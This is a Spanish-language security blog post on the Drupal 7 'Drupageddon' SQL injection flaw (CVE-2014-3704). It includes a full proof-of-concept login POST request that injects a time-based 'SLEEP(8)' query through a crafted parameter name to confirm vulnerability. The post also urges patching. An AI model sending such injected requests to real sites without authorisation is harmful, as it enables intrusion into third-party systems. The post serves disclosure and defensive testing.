Muy buenas,
Si habéis estado atentos a las últimas noticias de seguridad informática, hace unos días se descubrió una vulnerabilidad grave que afecta a los CMS Drupal en su versión 7.31 y anteriores, identificada con el código CVE-2014-3704 ó SA-CORE-2014-005 según Drupal, y que permite realizar inyecciones SQL.
El fallo se debe a un bug en la implementación de una función que precisamente se incorporó para evitar este tipo de problemas.
A los pocos días se detectó que la vulnerabilidad estaba siendo explotada de forma masiva y con éxito, y muchos empezaron a nombrarlo como el "Drupageddon". Esto obligó al equipo de Drupal a emitir un nuevo aviso de seguridad (PSA-2014-003) donde explican una serie de procedimientos para analizar si tu servidor ha sido comprometido utilizando este fallo.
En este artículo:
Del mismo autor que descubrió el fallo, tenéis toda la información técnica sobre el bug: qué parte del código está afectada, porqué permite saltarse las restricciones anti SQLi, etc..
Aunque ya existe, al menos, un "exploit" que te permite explotar esta vulnerabilidad y crearte un usuario con privilegios dentro de la base de datos, hoy os vengo a presentar un método rápido y que no afecta a la integridad (no intrusivo) para demostrar la existencia del SQLi.
Una petición POST normal que se envía al servidor, desde el navegador, en un formulario de login de Drupal 7.x, sigue el siguiente patrón:
POST /[ruta_formulario_login] HTTP/1.1
Host: www.test.com
User-Agent: [..]
[Resto cabeceras..]
name=test&pass=1234&form_build_id=form-jpVl3k8[..]bV&form_id=user_login&op=Login
La inyección se realiza en el mismo nombre de uno de los parámetros del POST y, al mismo tiempo, duplicamos el mismo parámetro, quedando el patrón anterior de la siguiente forma:
POST /[ruta_formulario_login] HTTP/1.1
Host: www.test.com
User-Agent: [..]
[Resto cabeceras..]
name[0+;SELECT+SLEEP(8);+--+]=test3&name[0]=test&pass=1234&form_build_id=form-jpVl3k8[..]bV&form_id=user_login&op=Login
Se manipula la petición de tal forma que se añade otro campo "name[...]" con la sentencia SQL dentro, y al mismo tiempo cambiar el nombre del parámetro por name[1]. En algunos sitios he visto que usan name[0], pero funciona también. El resto de parámetros se dejan igual.
En este caso, la sentencia inyectada es un SLEEP, que te permite averiguar si el sistema probado es vulnerable en caso de que la respuesta tarde 8 segundos o más.
Si administráis un Drupal 7, actualizad a la última versión disponible cuanto antes.
Comprobad que no habéis sido "p0wneados" durante este tiempo ya que existe un alto índice de probabilidad de haber podido ser víctima de un ataque dirigido.
Más info:
- Código parcheado: Patch
No seáis malos..